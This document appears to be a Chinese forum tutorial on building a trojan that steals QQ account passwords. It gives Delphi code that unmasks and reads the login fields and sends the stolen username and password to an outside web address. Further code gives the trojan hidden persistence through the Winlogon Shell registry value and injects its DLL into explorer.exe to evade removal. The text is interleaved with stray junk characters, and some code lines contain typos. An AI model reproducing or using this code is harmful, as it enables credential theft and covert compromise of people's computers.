|
本来我是想写个好点的DLL木马的,可考虑到篇幅有限(其实是水平有限啊^_^),于是写了一个简单一点的,希望大家能从中学到点什么。 ! v# U; i" U H$ @4 |3 S! P0 j8 {& }7 A
一.判断QQ是否运行
; m2 W6 h3 @3 M% ~QQ木马当然是用来盗号的,所以第一步要先判断QQ是否已经运行,。有一种比较简便的方法是通过调用findwindow这个API函数来取得QQ主程序的窗口句柄。如果函数返回值为空,则表示QQ没有运行,如果大余0则表示QQ已经运行。下面是findwindow这个函数的声明:
) k9 @0 X% N$ H- AFWND FindWindow (LPCTSTR IpClassName, LPCTSTR IpWindowName);
2 {& |: f( a# W* K5 x. I因为QQ程序的窗口类名是32770,所以通过调用FindWindow(`#32770`,nil)就可以得到QQ主程序的窗口句柄了。这样就可以判断QQ是否运行了。 # h5 Q7 z5 U5 z% A
二.获取QQ帐号和密码 4 a+ C$ x# [/ b
在取得QQ程序主窗口的句柄后我们可以再调用另外一个函数FindWindowEx就可以得到QQ登陆帐号和密码的句柄了。然后通sendmessage函数发送一条消息给这个输入框,QQ程序就会返回这个输入框里面的文字信息。这是sendmessage函数的原型:LRESULT SendMessage (HWND hWnd,UINT Msg, WPARAMwParam, LPARAM IParam);但是在调用sendmessage函数取得QQ密码的时候,QQ密码经常回不显示星号而是直接显示用户输入的字符,这样就很容易被人发现,为了不让密码显示出来还应调应函数PostMessage,它和sendmessage的区别就是sendmessage直接把一个消息发送给窗口,等消息处理完后才返回,而PostMessage是把消息发送到消息队列后立即返回。这样通过PstMessage发送一个带*号的字符给QQ密码输入框,QQ密码输入框就和以前一样了,只会显示星号而不显示字符。下面是整个截取QQ登陆帐号和密码的函数:
, p5 H8 e4 W8 t* K2 Kprocedure ThreadProc; 5 h0 Y. {2 N7 s; @ c8 r; q7 q
var
- f* I# e* }, D4 a! l( pp,k:integer; " k& q- A$ y# T" L
qqhwnd,qqhwnd2,tempH:hwnd; 4 ~" {/ x# i) \0 E: f' [8 C/ C
username,password:pchar;
6 s6 ?' \& L* U- @( c% lusertemp,passtemp:string;
7 H) k4 U: T, D4 X, S; qbegin 0 G) Y2 J4 ]2 V
while true do 0 j. P; k& a6 v( s8 B3 c
begin
) b3 i1 M8 H# C0 D& i+ D7 j7 xsleep(100); ; U2 U& K) }6 {! S0 m
p:=k; / S, k# o7 l9 |+ \' G
getmem(username,255);
! q9 M; f4 k7 O2 A2 Tgetmem(password,255);
" a& b. D" P# f4 p% yQQhwnd:=FindWindow(`#32770`,nil);
0 k+ t9 {. v! X( Q/ d D- h5 R0 \qqhwnd2:=FindWindowEx(qqhwnd,0,`Button`,`注册向导`);
" Z7 `. B n! M. O3 Q9 I. }2 |if qqhwnd2<>0 then ; C" w# @* Q+ _
begin
/ v2 `; ]) r: T7 Pk:=1;
( J9 A. n8 l& z' x9 R3 z q+ {TempH:=FindWindowEx(qqHwnd,0,`ComboBox`,nil);
6 E2 S) }# ~9 |( ^SendMessage(TempH,WM_GETTEXT,100,Integer(username)); 2 ~1 ^4 P4 u: Z2 }! \7 R
TempH:=FindWindowEx(QQHwnd,0,`Edit`,nil);
- b. f5 }# n7 L" X$ }5 @PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0); - f$ j$ k$ n! X/ g5 H' O
Sleep(10);
3 k; ~5 R( D6 rSendMessage(TempH,WM_GETTEXT,100,Longint(password));
3 A3 F4 N! |, h5 N4 [2 c0 V' WPostMessage(TempH,EM_SETPASSWORDCHAR,wparam(`*`),0);
3 K3 ?$ x7 Q, U8 G0 P' Kusertemp:=username; ( O* ?) |, F/ |( e
passtemp:=password; 8 l- N2 s+ M: |' i1 _
end # p2 I# z- C4 a8 j9 |
else 1 g" O" j: y! d/ D, i
begin
$ m6 P: u' m; jQQhwnd:=FindWindowEx(qqhwnd,0,`#32770`,nil); ; l4 k' o, T& c3 L5 t6 s
QQhwnd:=FindWindowEx(qqhwnd,0,`Button`,`使用已有的QQ号码`);
$ o6 F: J# X# ]if qqhwnd<>0 then ' y1 K- B" F" K: L4 |+ D' K
begin - n+ u+ L# B+ A- R
k:=1; # d' w8 w8 R5 f/ n
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT);
3 Q, l$ y3 I0 USendMessage(TempH,WM_GETTEXT,100,Integer(username)); $ i: s W0 q' F2 L' U5 X6 r# N0 t/ U
TempH:=GetNextWindow(TempH,GW_HWNDNEXT); * _3 n8 e* z; d( V: v
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
+ s5 J$ M( Y+ R" Y& SSleep(10); + H# `" \8 ?. K6 A; X3 x @
SendMessage(TempH,WM_GETTEXT,100,Longint(password)); ! U J9 I0 R, \: E) V* K9 U. e
PostMessage(TempH.EM_SETPASSWORDCHAR, wparam(`*`),0);
! }& [1 s! T& P( A% jusertemp:=username; + a5 X" x0 a) R( W) {' {
passtemp:=password;
* ^, C6 K2 w$ x- Z+ P6 Y4 aend
; G% _# a# F6 `( Z# ~else k:=0; 4 ~" {4 f. t) t
end;if (p=1) and (k=0) and (length(usertemp)>4) and (length(usertemp)<10) and (length(passtemp)>3) then
4 C& ]3 o& ^* K# d b1 r! J* f. fbegin 3 o0 B' K; W5 S6 d, ^
PostURL(`http://www.sokuang.com/qq/post.asp`,`username=`+usertemp+`&password=`+passtemp);
5 }* K8 m# U+ C$ o% O& H+ `/ [end;
5 q5 B9 p5 R2 J4 |9 Efreemem(username); : I$ W$ k! z4 C* E+ ?# `
freemem(password);end;
5 o0 z/ b7 p/ A+ X' u" |0 |end; W* y- K9 p0 ?( X% T
三.信息的发送 , O4 Z8 I: x0 J* ~
当木马成功截取到信息后就回将这些信息发出去,最常见的方法就是采用邮件送。Delphi中已经封装了邮件发送组件,大家可以直接调用组件作一个邮件发送程序,这了就不多说了。但由于调用组件会使木马文件体积过大,所以还是建议大家采用WINDOWS API来写一个邮件发送程序。上面我就调用了一个自定义函数posturl发送QQ帐号和密码到指定的 网页程序上。
% E4 z8 X( o1 H( Z5 j" R四.QQ木马的启动和隐藏 完成了QQ木马的主要功能后,还必须为木马加上启动项,如果不能自动启动,那电脑重起后木马就不能自动运行了。木马自启动常见的方法就是修改注册表(一般的木马都是在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下加上启动项,大家都知道吧),这里告诉你一个隐蔽的位置,就是把[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon]下的shell键值修改一下。也就是在explorer.exe后面加一个空格然后再把木马的路径加上去,这样木马就会随着windows的启动而自动启动了。下面是我用API函数修改注册表的函数。(你也可以在Delphi中直接利用TRegistry对象访问和修改注册表,不过由于调用组件生成的木马太大,建议你用使用API函数。)
' ?4 T6 q) D y+ t2 _function CreateKey(Root:HKEY;StrPath:pchar):Hkey;
# @' X2 b& U' q, n! Wvar TempKey:HKey;Disposition:Integer; + H: G' N' K. `( T* C& g) m6 b1 M! r8 ]
begin I( [8 z7 K/ o+ b. C9 U
TempKey:=0;
, d& @ _: w) k1 kRegCreateKeyEx(Root,StrPath,0,nil,0,KEY_ALL_ACCESS,nil,TempKey,@Disposition); 4 e; D1 R8 F2 T, c" ]# H: h/ V/ q u
Result:=TempKey; * m$ u! r. b" S& f9 J
end;
7 m( N% `. k" n; Wprocedure AddValue(Root:HKEY;StrPath:pchar;StrValue:pchar;Strdata:pchar;DataType:Integer);
; V5 q; T5 P+ ?+ R! q" Xvar s:HKey; / H/ M! a) g `$ f, f
DataSize:Integer;
- _! j2 g f, c' p' q' D) kbegin
7 c9 I0 B4 M6 m, vs:=CreateKey(Root,StrPath); 3 u G2 ^: B0 ^# c5 V
DataSize:=length(Strdata); , l+ a% i7 o) @
RegSetValueEx(s,StrValue,0,REG_SZ,Strdata,DataSize); // 8 V8 F' S6 o* P' o7 L% d7 y) c V
RegCloseKey(s); : |6 z0 z9 J4 d8 P$ R( H& Q
end;
' H$ H" r% Q6 ]+ o上面这个函数是用来生成主键的,最后只需再调用一个函数修改键值 % v2 P4 j* d _$ `* Y7 c* e8 u
AssValue(HKEY_LOCAL_MACHINE,`SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winl ogon`,`Shell`,pchar(`Explorer.exe `+paramstr(0)),1)
+ A% ?) w6 ?, r, B搞定木马的自动启动后就剩下隐藏了,木马的改进主要是为了成功躲避查杀,更好的隐藏自己,隐藏的方法有很多,在这里我想讲一下线程插入。先说下原理吧,在WINDOWS下面可执行程序是不允许访问其他程序进程空间的,但是DLL文件就不一样了。不如一个DLL文件内设置了一个系统级的钩子,那WINDOWS就会强行把这个DLL映射到所有程序进程空间里面,这样DLL就可以访问该程序的进程空间了。而如果这个DLL文件包含木马功能的话,那就很难被发现了,因为别人看到的是宿主程序的进程,而看不到DLL的进程。这里我以注入explorer.exe为例来说明一下编程思路。首先是得到explorer.exe的进程ID,得到进程ID后再利用OPENPROCESS函数打开资源管理器的进程空间,然后就可以注入了。以下是源代码,供参考。
5 E0 q! ^1 O/ o7 L. CFUNCTION InjectLibrary(Process;LongWord;DLLPath:pChar) : Boolean; ) W- s* B. R p
VAR 3 v9 ~* l8 N3 O& y& o, W
BytesWritten:DWORD;
7 {2 G9 J, E n, d9 b [& r, P KThread :DWORD; , o. q% q; n& b" w$ e
ThreadID :DWORD; & P D6 W3 u. b. D$ j( C# Q
Parameters :Pointer; 5 P$ F* r2 e. P* v, ]+ k+ r
BEGIN # q' ~! u' M4 q/ d. _# m. {' h
Result:=False; 1 @# }, o9 [+ I$ @3 q- b l" M
Parameters:=xVirtualAllocEx(Process,NIL,4096,MEM_COMMIT,PAGE_READWRITE);
$ ]1 ]4 r/ X. h. Z* NIF Parameters=NIL THEN Exit;
% {8 [7 s. Z4 a: B7 h: l4 }9 AWriteProcessMemory(Process,Parameters,Pointer(DLLPath),4096,BytesWritten);
, w. e/ N7 l. Z! V. |) r/ o) WThread:=xCreateRemoteThread(Process,NIL<)<GetProcAddress(GetModuleHandle(`KER NEL32.DLL`),`LoadLibraryA`),Parameters,0,@Threadld); 7 {* k) n; ~5 h: `1 k/ X% G: b
WaitForSingleObject(Thread,INFINITE);
3 z( ^. E2 s% s, ?& d* I) d; yxVirtualFreeEx(Process,Parameters,0,MEM_RELEASE); . b$ P* f, y& J7 \- m; R
IF Thread=0 THEN Exit; # ^6 ?- r9 ^% z7 L
CloseHandle(Thread);
: k/ C; I. g, Z/ c) u9 uResult:=True; 7 X& }$ W$ v, q3 j5 f
END; 5 D; k' O" R$ E. E# f
InjectLibrary这个函数使用来注入的函数,在调用前必须显得到浏览器的进程第,然后打开浏览器进程空间后才能调用。调用过程如下: 3 |) F2 S( B E9 m
PID:=GetProcessID(`EXPLORER.EXE`); H4 H& F `) q9 m4 V( `! e
Process:=OpenProcess(PROCESS_ACCESS,False,PID);
& n% w/ h, w. k+ t% TInjectLibrary(Process,Pchar(DllAllpath)); " Z8 F. y7 M- j7 W5 p- Q/ ~9 X+ \
这样就搞定了线程插入,不过都是调用WINDOWS API函数操作的。因为线程插入技术是把DLL文件映射到可执行文件的进程空间里面,所以要想清除木马首先要关闭可执行文件,而EXPLORER.EXE是WINDOWS系统启动的必须程序,要想清除就很难了。 7 j7 n: j* e3 S* u$ L. [+ p0 v g6 z6 K
因为木马需要用到DLL文件,并且在DLL文件中实现木马的功能能起到很好的隐藏作用,所以整个木马绝大部分功能都在DLL中完成。但要想让DLL文件运行必须由其他文件调用才能用,DLL文件是不能单独运行的。所以这里我编写了一个可执行文件来调用DLL木马,并且完成掀程插入功能。这样整个木马就包含两个文件,一个可执行文件和一个DLL文件。但含两个文件的木马是很不方便用的,你可以把DLL文件作为一个资源放在可执行文件里面,当可执行文件运行时就把DLL文件资源释放出来,然后再调用线程插入功能把DLL文件插入到资源管理器中,这样问题就完美的解决了。并且如果这个DLL文件被删除了,可执行文件还可以继续生成这个DLL文件。
6 |7 Z; q8 m# W) U! _" L: Q: B5 k就这样简单,一款属于自己的“马”就出来了,剩下该做什么就不用我说了吧 % V4 g% |" K$ i1 D
$ s1 q2 z* h4 L1 h" O7 |- R! t, Q
 |
|